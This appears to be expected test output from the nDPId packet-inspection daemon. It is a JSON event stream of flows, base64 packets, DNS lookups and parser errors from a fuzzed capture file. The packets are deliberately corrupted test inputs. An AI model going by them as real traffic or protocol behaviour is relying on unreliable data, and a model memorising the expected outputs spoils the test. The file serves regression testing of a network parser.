+00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":311,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1120470200673,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.22.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00531{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":311,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":2,"flow_first_seen":1120469611651,"flow_last_seen":1120469614570,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.137.21.94","src_port":2718,"dst_port":139,"l4_proto":"tcp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00499{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":311,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":2,"flow_first_seen":1120469611651,"flow_last_seen":1120469614570,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.137.21.94","src_port":2718,"dst_port":139,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":311,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1120470216686,"flow_last_seen":0,"flow_tot_l4_data_len":17,"flow_min_l4_data_len":17,"flow_max_l4_data_len":17,"flow_avg_l4_data_len":17,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2761,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470216,"pkt_ts_usec":686822,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":17,"pkt":"ADBUADRWAODtAW69CABFAAAlcwAAAIARTJrAqAECwKgBAQrJADUAMPj\/K\/YAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00494{"flow_id":119,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470216,"pkt_ts_usec":688322,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CskAR9t7K\/aAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00666{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":312,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":2,"flow_first_seen":1120470216686,"flow_last_seen":1120470216688,"flow_tot_l4_data_len":88,"flow_min_l4_data_len":17,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2761,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":314,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1120470216783,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2762,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470216,"pkt_ts_usec":783289,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIar0AAIARTJTAqAECwKgBAQrKADUANKsCfvgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":314,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1120470216783,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2762,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":120,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470217,"pkt_ts_usec":778034,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIar4AAIARTJPAqAECwKgBAQrKADUANKsCfvgBAABXAAAAAAAABF9zaXAEX3VkcANzaXAJY3m9ZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":315,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":2,"flow_first_seen":1120470216783,"flow_last_seen":1120470217778,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2762,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":120,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470219,"pkt_ts_usec":780912,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIar8AAIARTJLAqAECwKgBAQrKADUANKsCfvgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AnNrAAAhAAE="} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":317,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470221,"pkt_ts_usec":783776,"pkt_caplen":86,"pkt_type":29440,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW4lcwBFAABIasAAAIARTJHAqAECwKglcwDKADUANKsCfvgBAAABAAAAAAgABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":317,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":29440} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":318,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470225,"pkt_ts_usec":789534,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CACbAABIasEEAIARTJDAqAECwKgBAQrKADUANKsCfvgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00166{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":318,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":3,"flow_first_seen":1120469611651,"flow_last_seen":1120469620579,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.137.21.94","src_port":2717,"dst_port":445,"l4_proto":"tcp","ndpi": {"proto":"SMBv23","breed":"Acceptable","category":"System"}} +00499{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":3,"flow_first_seen":1120469611651,"flow_last_seen":1120469620579,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.137.21.94","src_port":2717,"dst_port":445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470233,"pkt_ts_usec":791441,"pkt_caplen":82,"pkt_type":29440,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"ADBUADRWAODtSm4lcwBFAABEasIAAIARTJPAqAECwKgBAQrLADUAMHT6r\/kAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":29440} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":320,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1120470233792,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2763,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470233,"pkt_ts_usec":792936,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CssAR1d2r\/mAAAAmcwEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAYAAJxAACwlsb2NhbGhvc3QA"} +00693{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":320,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1120470233792,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2763,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":38,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":321,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470233,"pkt_ts_usec":794463,"pkt_caplen":867,"pkt_type":2176,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":867,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CIBFAANVaMMAAIARFRXAqAEC1PIhIxPEE8QDQYjhSU5WSVRFIHNpcDowMDk3MjM5Mjg3MDQ0QHNpcC5jeWJlcmNpdHkuZGsgU0lQL1MuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjo1MDYwO2JyYW5jaD16OWhHNGJLbnA4NTIxMzY5NC00MzBhYTFkZTGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":321,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2176} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":322,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1120470233796,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2764,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470233,"pkt_ts_usec":796341,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIasQAAIARTI3AqAECwKgBAQrMADUANEn93\/sBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":322,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1120470233796,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2764,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":323,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470234,"pkt_ts_usec":292134,"pkt_caplen":867,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":867,"pkt_l4_len":0,"pkt":"ADBUADRWAOCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":323,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00468{"flow_id":122,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470234,"pkt_ts_usec":792505,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIasYAAIARTIvAqAECwKgBAQrMADUANEn93\/sBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1120470236795,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470236,"pkt_ts_usec":795395,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaskAAIARTIjAqAECqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00468{"flow_id":122,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470238,"pkt_ts_usec":798300,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIasoAAIARTIfAqAECwKgBAQrMADUANEn93\/sBAAABAAAAAAAABF9zaXAEX3VkcANzDXAJY0liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":122,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470242,"pkt_ts_usec":804255,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIassAAIARTIbAqAECwKgBAQrMADUANEn9qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00686{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":332,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":4,"flow_first_seen":1120470233796,"flow_last_seen":1120470242804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2764,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":170,"num_answers":254,"reply_code":10,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00507{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":333,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1120470236795,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":333,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1120470236795,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":333,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1120469633828,"flow_last_seen":1120469634840,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":41,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":333,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1120470233792,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2763,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":333,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1120470250805,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2765,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470250,"pkt_ts_usec":805892,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADAlcwBWAODtAW69CABFAABEaswAAIARTInAqAFuwKgBAQrNADUAMLv0aP0AAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":333,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1120470250805,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2765,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":334,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1120470250807,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2765,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 